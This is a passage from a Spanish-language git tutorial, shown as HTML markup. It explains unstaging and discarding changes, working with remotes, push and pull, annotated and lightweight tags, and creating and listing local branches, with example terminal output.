&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git reset HEAD &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to unstage&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> new file: prueba
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes not staged &lt;span class="k">for&lt;/span> commit:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to update what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git checkout -- &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to discard changes in working directory&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> modified: README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git reset HEAD prueba &lt;span class="c1"># cancelamos el comando add para prueba&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Unstaged changes after reset:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">M README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status &lt;span class="c1"># mostramos el estado actual&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes not staged &lt;span class="k">for&lt;/span> commit:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to update what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git checkout -- &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to discard changes in working directory&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> modified: README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Untracked files:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to include in what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> prueba
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">no changes added to commit &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add&amp;#34;&lt;/span> and/or &lt;span class="s2">&amp;#34;git commit -a&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="deshaciendo-la-modificación-de-un-archivo">Deshaciendo la modificación de un archivo&lt;/h2>
&lt;p>Si queremos desechar todos los cambios que hemos hecho a un fichero desde el ultimo commit tendremos la opcion &lt;code>git checkout fichero&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes not staged &lt;span class="k">for&lt;/span> commit:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to update what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git checkout -- &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to discard changes in working directory&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> modified: README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">no changes added to commit &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add&amp;#34;&lt;/span> and/or &lt;span class="s2">&amp;#34;git commit -a&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git checkout README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">nothing to commit, working directory clean
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mostrando-tus-repositorios-remotos">Mostrando tus repositorios remotos&lt;/h2>
&lt;p>Para ver qué repositorios remotos tienes configurados, puedes ejecutar el comando &lt;code>git remote&lt;/code>. Mostrará una lista con los nombres de los remotos que hayas especificado. Si has clonado tu repositorio, deberías ver por lo menos &lt;em>&amp;ldquo;origin&amp;rdquo;&lt;/em> (es el nombre predeterminado que le da Git al servidor del que clonaste):&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git remote
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">origin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También puedes añadir la opción -v, que muestra la URL asociada a cada repositorio remoto:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git remote -v
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">origin git@github.com:procamora/Wiki-Personal.git &lt;span class="o">(&lt;/span>fetch&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">origin git@github.com:procamora/Wiki-Personal.git &lt;span class="o">(&lt;/span>push&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="añadiendo-repositorios-remotos">Añadiendo repositorios remotos&lt;/h2>
&lt;p>Para añadir un nuevo repositorio Git remoto, asignándole un nombre con el que referenciarlo fácilmente, ejecuta &lt;code>git remote add [nombre] [url]&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git remote add wiki git://github.com/procamora/Wiki-Personal.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="recibiendo-de-tus-repositorios-remotos">Recibiendo de tus repositorios remotos&lt;/h2>
&lt;p>Para recuperar datos de los repositorios remotos usamos &lt;code>git fetch [remote-name]&lt;/code>, aunque normalmente el nombre del repositoio lo podremos saltar ya que solo tendremos uno.&lt;/p>
&lt;p>Este comando recupera todos los datos del proyecto remoto que no tengas todavía. Después de hacer esto, deberías tener referencias a todas las ramas del repositorio remoto, que puedes unir o inspeccionar en cualquier momento.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git fetch
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="enviando-a-tus-repositorios-remotos">Enviando a tus repositorios remotos&lt;/h2>
&lt;p>Cuando tu proyecto se encuentra en un estado que quieres compartir, tienes que enviarlo a un repositorio remoto. El comando que te permite hacer esto es sencillo: &lt;code>git push [nombre-remoto][nombre-rama]&lt;/code>. Si quieres enviar tu rama maestra (master) a tu servidor origen (origin), ejecutarías esto para enviar tu trabajo al servidor:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git push origin master
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Este comando funciona únicamente si has clonado de un servidor en el que tienes permiso de escritura, y nadie ha enviado información mientras tanto. Si tú y otra persona clonais a la vez, y él envía su información y luego envías tú la tuya, tu envío será rechazado. Tendrás que bajarte primero su trabajo e incorporarlo en el tuyo para que se te permita hacer un envío.&lt;/p>
&lt;h2 id="recibiendo-de-tus-repositorios-remotos-y-actualizando-los-ficheros">Recibiendo de tus repositorios remotos y actualizando los ficheros&lt;/h2>
&lt;p>Éste comando es muy similar a &lt;code>git fetch&lt;/code> aunque realiza dos funciones simultáneas, &lt;code>git pull&lt;/code> realiza un &lt;code>git fetch&lt;/code> más un &lt;code>git merge&lt;/code>. Se descarga los cambios que se encuentren en el repositorio remoto y los unifica con los cambios que tengamos en nuestro equipo.&lt;/p>
&lt;p>nota: utilizando este comando puede que ocurran conflictos.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git pull
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="git-tag-multiples-formatos">git tag (multiples formatos)&lt;/h2>
&lt;p>Git usa dos tipos principales de etiquetas: ligeras y anotadas. Una etiqueta ligera es muy parecida a una rama que no cambia — un puntero a una confirmación específica —. Sin embargo, las etiquetas anotadas son almacenadas como objetos completos en la base de datos de Git. Tienen suma de comprobación; contienen el nombre del etiquetador, correo electrónico y fecha; tienen mensaje de etiquetado; y pueden estar firmadas y verificadas con GNU Privacy Guard (GPG). Generalmente se recomienda crear etiquetas anotadas para disponer de toda esta información; pero si por alguna razón quieres una etiqueta temporal y no quieres almacenar el resto de información, también tiene disponibles las etiquetas ligeras.&lt;/p>
&lt;h3 id="etiquetas-anotadas">Etiquetas anotadas&lt;/h3>
&lt;p>Crear una etiqueta anotada en Git es simple. La forma más fácil es especificar &lt;code>-a&lt;/code> al ejecutar el comando &lt;code>tag&lt;/code>.&lt;/p>
&lt;p>El parámetro &lt;code>-m&lt;/code> especifica el mensaje, el cual se almacena con la etiqueta. Si no se especifica un mensaje para la etiqueta anotada, Git lanza tu editor para poder escribirlo.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git tag -a v1.4 -m &lt;span class="s1">&amp;#39;my version 1.4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git tag
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v0.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Puedes ver los datos de la etiqueta junto con la confirmación que fue etiquetada usando el comando git show:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git show v1.4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tag v1.4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Tagger: Scott Chacon &amp;lt;schacon@gee-mail.com&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Date: Mon Feb &lt;span class="m">9&lt;/span> 14:45:11 &lt;span class="m">2009&lt;/span> -0800
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">my version 1.4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit 15027957951b64cf874c3557a0f3547bd83b3ff6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Merge: 4a447f7... a6b4c97...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Author: Scott Chacon &amp;lt;schacon@gee-mail.com&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Date: Sun Feb &lt;span class="m">8&lt;/span> 19:02:46 &lt;span class="m">2009&lt;/span> -0800
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Merge branch &lt;span class="s1">&amp;#39;experiment&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Esto muestra la información del autor de la etiqueta, la fecha en la que la confirmación fue etiquetada, y el mensaje de anotación antes de mostrar la información de la confirmación.&lt;/p>
&lt;p>Una vez que hayamos creado nuevos tags y queramos compartirlos con el repositorio remoto sólo debemos emplear el comando push con la bandera &amp;ndash;tags de la siguiente manera:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git push origin master --tags
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total &lt;span class="m">0&lt;/span> &lt;span class="o">(&lt;/span>delta 0&lt;span class="o">)&lt;/span>, reused &lt;span class="m">0&lt;/span> &lt;span class="o">(&lt;/span>delta 0&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">To git@github.com:procamora/Wiki-Personal.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> * &lt;span class="o">[&lt;/span>new tag&lt;span class="o">]&lt;/span> v1.4 -&amp;gt; v1.4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="etiquetas-ligeras">Etiquetas ligeras&lt;/h3>
&lt;p>Otra forma de etiquetar confirmaciones es con una etiqueta ligera. Esto es básicamente la suma de comprobación de la confirmación almacenada en un archivo (ninguna otra información es guardada). Para crear una etiqueta ligera no añadas las opciones &lt;code>-a&lt;/code>, &lt;code>-s&lt;/code> o &lt;code>-m&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git tag v1.4-lw
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git tag
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v0.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.4-lw
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v1.5
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Esta vez, si ejecutas el comando git show en la etiqueta, no verás ninguna información extra. El comando simplemente muestra la confirmación.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git show v1.4-lw
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">commit 15027957951b64cf874c3557a0f3547bd83b3ff6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Merge: 4a447f7... a6b4c97...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Author: Scott Chacon &amp;lt;schacon@gee-mail.com&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Date: Sun Feb &lt;span class="m">8&lt;/span> 19:02:46 &lt;span class="m">2009&lt;/span> -0800
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Merge branch &lt;span class="s1">&amp;#39;experiment&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="ignorando-ficheros">Ignorando ficheros&lt;/h2>
&lt;p>#####################################################################################&lt;/p>
&lt;p>Actualiza tu repositorio remoto en caso que algún otro desarrollador haya eliminado alguna rama remota.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">$ git remote prune origin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Elimina los cambios realizados que aún no se hayan hecho commit.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">$ git reset --hard HEAD
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Revierte el commit realizado, identificado por el “hash_commit”.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">$ git revert &amp;lt;hash_commit&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header1">Manejo de ramas&lt;/h1>
&lt;p>Una rama Git es simplemente un apuntador móvil apuntando a una de esas confirmaciones. La rama por defecto de Git es la rama master. Con la primera confirmación de cambios que realicemos, se creará esta rama principal master apuntando a dicha confirmación. En cada confirmación de cambios que realicemos, la rama irá avanzando automáticamente. Y la rama master apuntará siempre a la última confirmación realizada.
¿Qué sucede cuando creas una nueva rama? Pues que simplemente se crea un nuevo apuntador para que lo puedas mover libremente.&lt;/p>
&lt;p>A la hora de trabajar con ramas tenemos 2 opciones&lt;/p>
&lt;p>Como buena práctica dentro de las ramas del árbol es donde deberíamos introducir los cambios a nuestro proyecto y solo luego de comprobar que dichos cambios funcionan y tienen el comportamiento deseado los unimos con el árbol principal. Esto es porque queremos que el árbol se encuentre lo más limpio posible.&lt;/p>
&lt;h2 id="mark4">Ramas locales&lt;/h2>
&lt;p>Los comandos que usaremos en este apartado serán:&lt;/p>
&lt;ul>
&lt;li>git checkout -b&lt;/li>
&lt;li>git branch (múltiples comandos.)&lt;/li>
&lt;li>git merge&lt;/li>
&lt;li>git branch -d&lt;/li>
&lt;/ul>
&lt;h3 id="crear-una-rama-local">Crear una rama local&lt;/h3>
&lt;p>El comando &lt;code>checkout -b nombre_rama&lt;/code> es el comando corto para crear una nueva rama a partir de la rama actual y nos cambia a la misma.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git checkout -b sbrk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># hemos creado la nueva rama y nos cambiamos a la nueva rama&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Switched to a new branch &lt;span class="s1">&amp;#39;sbrk&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="comprobar-en-que-rama-estamos">Comprobar en que rama estamos&lt;/h3>
&lt;p>El comando &lt;code>git branch&lt;/code> se usa para el manejo de ramas, tiene múltiples parámetros pero los mas usados por mi son:&lt;/p>
&lt;p>Para ver en que rama nos encontramos en este momento habría que usar el comando &lt;code>git branch&lt;/code>, como resultado obtendremos todas las ramas locales y con un asterisco (*) y en verde la rama en la que nos encontramos actualmente.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git branch
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> sbrk
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para ver el ultimo comentario de cada rama del proyecto usaremos el parámetro &lt;em>-v&lt;/em> &lt;code>git branch -v&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git branch -v
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* master 44dc25c Create init
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> sbrk 44d6g5g add rama
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Listar todas las ramas locales y remotas.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
